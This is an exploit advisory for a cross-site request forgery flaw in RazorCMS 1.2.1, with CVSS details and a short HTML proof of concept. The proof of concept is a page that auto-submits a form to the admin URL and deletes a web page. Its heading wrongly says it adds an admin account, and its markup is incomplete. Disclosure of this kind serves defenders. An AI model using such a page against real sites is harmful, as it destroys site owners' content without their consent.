RazorCMS 1.2.1 STABLE Cross Site Request Forgery

2012-03-09 / 2012-10-23
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+------------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages) # Date : 08-03-2012 # Author : Ivano Binetti (http://www,ivanobinetti.com) # Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip # Vendor site : http://www.razorcms.co.uk/ # Version : 1.2.1 STABLE and lower # Tested on : Debian Squeeze (6.0) +------------------------------------------------------------------------------------------------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 3)Exploit (Delete Web Page) +------------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction "razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be used on the cheapest of web hosts, or even free hosting". 2)Vulnerabilities Description RazorCMS 1.2.1 STABLE (and lower) is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published and unpublished. 3)Exploit (Delete Web Page) <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add ADMIN account</H2> <form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar"> </body> </html> In this POC I've deleted web page with ID=2 +------------------------------------------------------------------------------------------------------------------------------------+

References:

http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
http://www.razorcms.co.uk/


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